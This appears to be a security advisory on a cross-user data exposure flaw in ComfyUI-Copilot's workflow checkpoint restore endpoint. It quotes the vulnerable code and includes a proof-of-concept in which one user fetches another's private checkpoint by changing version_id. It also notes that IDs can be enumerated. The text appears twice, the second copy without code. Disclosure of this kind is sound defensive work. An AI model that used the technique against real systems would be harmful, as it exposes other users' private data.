Cross-Tenant Data Exposure via Hash-Key Confusion in Workflow Checkpoint Restore
Summary
An attacker with access to the checkpoint restore endpoint can request a different user's version_id, causing application-level object-key reuse, which leads to unauthorized retrieval of saved workflow checkpoint data. The application treats the client-supplied version_id as sufficient proof of access to a workflow checkpoint, negatively impacting users whose workflow data is stored in workflow_version.
Affected Versions
- Affected:
main branch at commit c2502d728d59ca2aed4d9002ea37bcb84ed11bff
- Confirmed affected: ComfyUI-Copilot version
2.0.28, commit c2502d728d59ca2aed4d9002ea37bcb84ed11bff
- Fixed: Not available at the time of reporting
- Introduced in: Not determined
Existing workflow checkpoint records generated by affected versions may remain unsafe until the checkpoint store is invalidated or migrated to include ownership and authorization metadata.
Details
The vulnerability occurs because the workflow checkpoint restore path uses a bare integer version_id as the security-relevant object key. The saved record contains session_id, workflow_data, workflow_data_ui, and attributes, but the restore path does not bind the requested checkpoint to the caller's session, user, tenant, or permission context before returning the saved workflow payload.
Where the Hash is Computed
There is no cryptographic hash. The application-level identity key is the raw version_id returned when a checkpoint is saved and later accepted from the restore query string. The following code is from version 2.0.28, commit c2502d728d59ca2aed4d9002ea37bcb84ed11bff.
# https://github.com/AIDC-AI/ComfyUI-Copilot/blob/c2502d728d59ca2aed4d9002ea37bcb84ed11bff/backend/controller/conversation_api.py#L403-L427
version_id = save_workflow_data(
session_id=session_id,
workflow_data=workflow_api,
workflow_data_ui=workflow_ui,
attributes=attributes
)
log.info(f"Workflow checkpoint saved with version ID: {version_id}")
# Return response format based on checkpoint type
response_data = {
"version_id": version_id,
"checkpoint_type": checkpoint_type
}
if checkpoint_type == "user_message_checkpoint" and message_id:
response_data.update({
"checkpoint_id": version_id, # Add checkpoint_id alias for user message checkpoints
"message_id": message_id
})
return web.json_response({
"success": True,
"data": response_data,
"message": f"Workflow checkpoint saved successfully"
})
The frontend later sends that same object key back to the restore endpoint.
// https://github.com/AIDC-AI/ComfyUI-Copilot/blob/c2502d728d59ca2aed4d9002ea37bcb84ed11bff/ui/src/apis/workflowChatApi.ts#L818-L840
export async function restoreWorkflowCheckpoint(
versionId: number
): Promise<{
version_id: number;
workflow_data: any;
workflow_data_ui?: any;
attributes: any;
created_at: string;
}> {
try {
const response = await fetch(`/api/restore-workflow-checkpoint?version_id=${versionId}`, {
method: 'GET',
headers: {
'trace-id': generateUUID(),
},
});
const result = await response.json();
if (!result.success) {
throw new Error(result.message || 'Failed to restore workflow checkpoint');
}
return result.data;
What Fields Are Included or Excluded
The application-level key includes only:
The checkpoint record stores, but the restore lookup does not validate:
The restore key excludes:
tenant_id
user_id
workflow_owner_id
permissions
- caller session binding
- authorization token binding
- checkpoint schema or ownership namespace
The excluded fields matter because the key is used to return persisted workflow artifacts. Two requests with different callers or sessions can request the same version_id and receive the same saved checkpoint, even though they are not security-equivalent.
How the Hash is Used for a Security-Relevant Decision
The restore endpoint accepts version_id from the query string and uses it as the only selector for the persisted workflow checkpoint. No request header, authenticated principal, or session_id comparison is performed before returning workflow_data and workflow_data_ui.
# https://github.com/AIDC-AI/ComfyUI-Copilot/blob/c2502d728d59ca2aed4d9002ea37bcb84ed11bff/backend/controller/conversation_api.py#L439-L484
@server.PromptServer.instance.routes.get("/api/restore-workflow-checkpoint")
async def restore_workflow_checkpoint(request):
"""
Restore workflow checkpoint by version ID
"""
log.info("Received restore-workflow-checkpoint request")
try:
version_id = request.query.get('version_id')
if not version_id:
return web.json_response({
"success": False,
"message": "Missing required parameter: version_id"
})
try:
version_id = int(version_id)
except ValueError:
return web.json_response({
"success": False,
"message": "Invalid version_id format"
})
# Get workflow data by version ID
workflow_version = get_workflow_data_by_id(version_id)
if not workflow_version:
return web.json_response({
"success": False,
"message": f"Workflow version {version_id} not found"
})
log.info(f"Restored workflow checkpoint version ID: {version_id}")
return web.json_response({
"success": True,
"data": {
"version_id": version_id,
"workflow_data": workflow_version.get('workflow_data'),
"workflow_data_ui": workflow_version.get('workflow_data_ui'),
"attributes": workflow_version.get('attributes'),
"created_at": workflow_version.get('created_at')
},
"message": f"Workflow checkpoint restored successfully"
})
The DAO confirms that the database query is keyed only by the primary key id.
# https://github.com/AIDC-AI/ComfyUI-Copilot/blob/c2502d728d59ca2aed4d9002ea37bcb84ed11bff/backend/dao/workflow_table.py#L104-L120
def get_workflow_version_by_id(self, version_id: int) -> Optional[Dict[str, Any]]:
"""根据版本ID获取工作流数据"""
session = self.get_session()
try:
version = session.query(WorkflowVersion)\
.filter(WorkflowVersion.id == version_id)\
.first()
if version:
result = version.to_dict()
# 添加UI格式的工作流数据
if version.workflow_data_ui:
result['workflow_data_ui'] = json.loads(version.workflow_data_ui)
return result
return None
finally:
session.close()
Why Hash Equality Does Not Imply Security Equivalence
This is application-level key confusion, not a raw cryptographic collision. Equality of version_id only means two requests name the same database row. It does not prove the caller owns that row or is allowed to read the stored workflow. Because the restore path has no ownership or permission revalidation, object-key equality is incorrectly treated as authorization equivalence.
How the Attacker Constructs a Conflicting Object
Victim checkpoint:
{
"version_id": 1,
"session_id": "alice_session",
"workflow_data": {
"owner_marker": "ALICE_PRIVATE_WORKFLOW",
"prompt": "private prompt only Alice should see"
},
"workflow_data_ui": {
"ui_owner_marker": "ALICE_PRIVATE_UI"
}
}
Attacker request:
{
"requester": "bob_session",
"headers": {
"Authorization": "Bearer bob-token",
"X-Session-ID": "bob_session"
},
"restore_url": "/api/restore-workflow-checkpoint?version_id=1"
}
The two objects are not security-equivalent because the checkpoint belongs to Alice while the restore request is made by Bob. They still resolve to the same application-level object key because only version_id=1 is used.
Version-Specific Behavior
In commit c2502d728d59ca2aed4d9002ea37bcb84ed11bff, the checkpoint schema stores session_id, but the restore endpoint does not use it to authorize reads. The behavior does not appear to depend on a feature flag. Existing rows in backend/data/workflow_debug.db remain addressable by integer id until the data is cleared or migrated.
Comparison with a Secure Path
A secure path would bind checkpoint records to a server-side authenticated principal and validate that principal at read time. If this project intentionally supports session-scoped checkpoints, the restore lookup should at minimum require both the checkpoint ID and the expected session_id, and the server should derive or verify that session binding rather than trusting only the object ID.
Impact
This vulnerability allows attackers to:
- Read another user's saved
workflow_data and workflow_data_ui
- Enumerate sequential checkpoint IDs to discover private workflow artifacts
- Reuse persisted checkpoint records across security boundaries until the database is invalidated or migrated
The attack is persistent: workflow checkpoint rows generated with the vulnerable object-key scheme remain readable by version_id until the checkpoint store is cleared, migrated, or protected by read-time authorization checks.
Proof of Concept
I verified the issue end-to-end against ComfyUI-Copilot version 2.0.28, commit c2502d728d59ca2aed4d9002ea37bcb84ed11bff, using the real controller handlers and DAO with a temporary SQLite database. The test simulates Alice saving a private checkpoint and Bob restoring Alice's checkpoint by changing only the version_id.
#!/usr/bin/env python3
"""Minimal PoC for checkpoint object-key confusion."""
# Tested against commit c2502d728d59ca2aed4d9002ea37bcb84ed11bff.
# The local harness stubs ComfyUI runtime modules, then calls the real
# save_workflow_checkpoint(), restore_workflow_checkpoint(), and DAO code.
alice_save = await save_workflow_checkpoint(FakeRequest({
"session_id": "alice_session",
"workflow_api": {
"owner_marker": "ALICE_PRIVATE_WORKFLOW",
"prompt": "private prompt only Alice should see"
},
"workflow_ui": {"ui_owner_marker": "ALICE_PRIVATE_UI"},
"checkpoint_type": "debug_start",
}, headers={"Authorization": "Bearer alice-token"}))
bob_save = await save_workflow_checkpoint(FakeRequest({
"session_id": "bob_session",
"workflow_api": {"owner_marker": "BOB_WORKFLOW"},
"workflow_ui": {"ui_owner_marker": "BOB_UI"},
"checkpoint_type": "debug_start",
}, headers={"Authorization": "Bearer bob-token"}))
alice_version = alice_save.data["data"]["version_id"]
# Bob supplies his own request metadata but targets Alice's version_id.
bob_restore_alice = await restore_workflow_checkpoint(FakeRequest(
query={"version_id": str(alice_version)},
headers={"Authorization": "Bearer bob-token", "X-Session-ID": "bob_session"},
))
restored = bob_restore_alice.data["data"]
assert bob_restore_alice.data["success"] is True
assert restored["workflow_data"]["owner_marker"] == "ALICE_PRIVATE_WORKFLOW"
assert restored["workflow_data_ui"]["ui_owner_marker"] == "ALICE_PRIVATE_UI"
print("vulnerability_reproduced True")
Execution result:
{
"alice_saved_version_id": 1,
"bob_saved_version_id": 2,
"alice_db_record_session_id": "alice_session",
"bob_restore_request_headers": {
"Authorization": "Bearer bob-token",
"X-Session-ID": "bob_session"
},
"bob_restore_target_version_id": 1,
"bob_restore_success": true,
"bob_received_owner_marker": "ALICE_PRIVATE_WORKFLOW",
"bob_received_prompt": "private prompt only Alice should see",
"bob_received_ui_marker": "ALICE_PRIVATE_UI",
"vulnerability_reproduced": true
}
This proves the broken invariant: two non-equivalent security contexts, Alice's checkpoint and Bob's request, resolve to the same object key and the application returns Alice's private workflow to Bob.
Remediation
Bind checkpoint records to a server-side authenticated principal and revalidate authorization before returning checkpoint data. Do not rely on a client-supplied integer version_id as the sole object identity for restore operations.
# In backend/controller/conversation_api.py, around the restore path.
# Fix direction: derive caller identity/session server-side, include it in the
# lookup, and refuse to return records that do not belong to the caller.
workflow_version = get_workflow_data_by_id_for_owner(
version_id=version_id,
owner_id=current_user.id,
session_id=current_session_id,
)
if not workflow_version:
return web.json_response({
"success": False,
"message": "Workflow version not found"
}, status=404)
Additional mitigations:
- Canonical Object Identity: Define a deterministic checkpoint identity that includes ownership and authorization scope.
- Complete Field Coverage: Include all fields relevant to authorization, ownership, tenant isolation, and checkpoint schema validity.
- Digest Schema Versioning: If a digest or composite key is introduced, include a key schema version to prevent unsafe reuse of old records.
- Domain Separation: Separate checkpoint namespaces across users, tenants, sessions, and object types.
- Cryptographic Construction: Use an unguessable server-generated identifier or HMAC-bound token if checkpoint IDs must be exposed to clients.
- Avoid Truncation: Do not expose short or sequential identifiers as the only handle for sensitive artifacts.
- Read-Time Revalidation: Re-check ownership and policy before returning any persisted workflow checkpoint.
- State Invalidation: Invalidate or migrate workflow checkpoint records generated without ownership bindings.
References
Cross-Tenant Data Exposure via Hash-Key Confusion in Workflow Checkpoint Restore
Summary
An attacker with access to the checkpoint restore endpoint can request a different user's
version_id, causing application-level object-key reuse, which leads to unauthorized retrieval of saved workflow checkpoint data. The application treats the client-suppliedversion_idas sufficient proof of access to a workflow checkpoint, negatively impacting users whose workflow data is stored inworkflow_version.Affected Versions
mainbranch at commitc2502d728d59ca2aed4d9002ea37bcb84ed11bff2.0.28, commitc2502d728d59ca2aed4d9002ea37bcb84ed11bffExisting workflow checkpoint records generated by affected versions may remain unsafe until the checkpoint store is invalidated or migrated to include ownership and authorization metadata.
Details
The vulnerability occurs because the workflow checkpoint restore path uses a bare integer
version_idas the security-relevant object key. The saved record containssession_id,workflow_data,workflow_data_ui, andattributes, but the restore path does not bind the requested checkpoint to the caller's session, user, tenant, or permission context before returning the saved workflow payload.Where the Hash is Computed
There is no cryptographic hash. The application-level identity key is the raw
version_idreturned when a checkpoint is saved and later accepted from the restore query string. The following code is from version2.0.28, commitc2502d728d59ca2aed4d9002ea37bcb84ed11bff.The frontend later sends that same object key back to the restore endpoint.
What Fields Are Included or Excluded
The application-level key includes only:
version_idThe checkpoint record stores, but the restore lookup does not validate:
session_idThe restore key excludes:
tenant_iduser_idworkflow_owner_idpermissionsThe excluded fields matter because the key is used to return persisted workflow artifacts. Two requests with different callers or sessions can request the same
version_idand receive the same saved checkpoint, even though they are not security-equivalent.How the Hash is Used for a Security-Relevant Decision
The restore endpoint accepts
version_idfrom the query string and uses it as the only selector for the persisted workflow checkpoint. No request header, authenticated principal, orsession_idcomparison is performed before returningworkflow_dataandworkflow_data_ui.The DAO confirms that the database query is keyed only by the primary key
id.Why Hash Equality Does Not Imply Security Equivalence
This is application-level key confusion, not a raw cryptographic collision. Equality of
version_idonly means two requests name the same database row. It does not prove the caller owns that row or is allowed to read the stored workflow. Because the restore path has no ownership or permission revalidation, object-key equality is incorrectly treated as authorization equivalence.How the Attacker Constructs a Conflicting Object
Victim checkpoint:
{ "version_id": 1, "session_id": "alice_session", "workflow_data": { "owner_marker": "ALICE_PRIVATE_WORKFLOW", "prompt": "private prompt only Alice should see" }, "workflow_data_ui": { "ui_owner_marker": "ALICE_PRIVATE_UI" } }Attacker request:
{ "requester": "bob_session", "headers": { "Authorization": "Bearer bob-token", "X-Session-ID": "bob_session" }, "restore_url": "/api/restore-workflow-checkpoint?version_id=1" }The two objects are not security-equivalent because the checkpoint belongs to Alice while the restore request is made by Bob. They still resolve to the same application-level object key because only
version_id=1is used.Version-Specific Behavior
In commit
c2502d728d59ca2aed4d9002ea37bcb84ed11bff, the checkpoint schema storessession_id, but the restore endpoint does not use it to authorize reads. The behavior does not appear to depend on a feature flag. Existing rows inbackend/data/workflow_debug.dbremain addressable by integeriduntil the data is cleared or migrated.Comparison with a Secure Path
A secure path would bind checkpoint records to a server-side authenticated principal and validate that principal at read time. If this project intentionally supports session-scoped checkpoints, the restore lookup should at minimum require both the checkpoint ID and the expected
session_id, and the server should derive or verify that session binding rather than trusting only the object ID.Impact
This vulnerability allows attackers to:
workflow_dataandworkflow_data_uiThe attack is persistent: workflow checkpoint rows generated with the vulnerable object-key scheme remain readable by
version_iduntil the checkpoint store is cleared, migrated, or protected by read-time authorization checks.Proof of Concept
I verified the issue end-to-end against ComfyUI-Copilot version
2.0.28, commitc2502d728d59ca2aed4d9002ea37bcb84ed11bff, using the real controller handlers and DAO with a temporary SQLite database. The test simulates Alice saving a private checkpoint and Bob restoring Alice's checkpoint by changing only theversion_id.Execution result:
{ "alice_saved_version_id": 1, "bob_saved_version_id": 2, "alice_db_record_session_id": "alice_session", "bob_restore_request_headers": { "Authorization": "Bearer bob-token", "X-Session-ID": "bob_session" }, "bob_restore_target_version_id": 1, "bob_restore_success": true, "bob_received_owner_marker": "ALICE_PRIVATE_WORKFLOW", "bob_received_prompt": "private prompt only Alice should see", "bob_received_ui_marker": "ALICE_PRIVATE_UI", "vulnerability_reproduced": true }This proves the broken invariant: two non-equivalent security contexts, Alice's checkpoint and Bob's request, resolve to the same object key and the application returns Alice's private workflow to Bob.
Remediation
Bind checkpoint records to a server-side authenticated principal and revalidate authorization before returning checkpoint data. Do not rely on a client-supplied integer
version_idas the sole object identity for restore operations.Additional mitigations:
References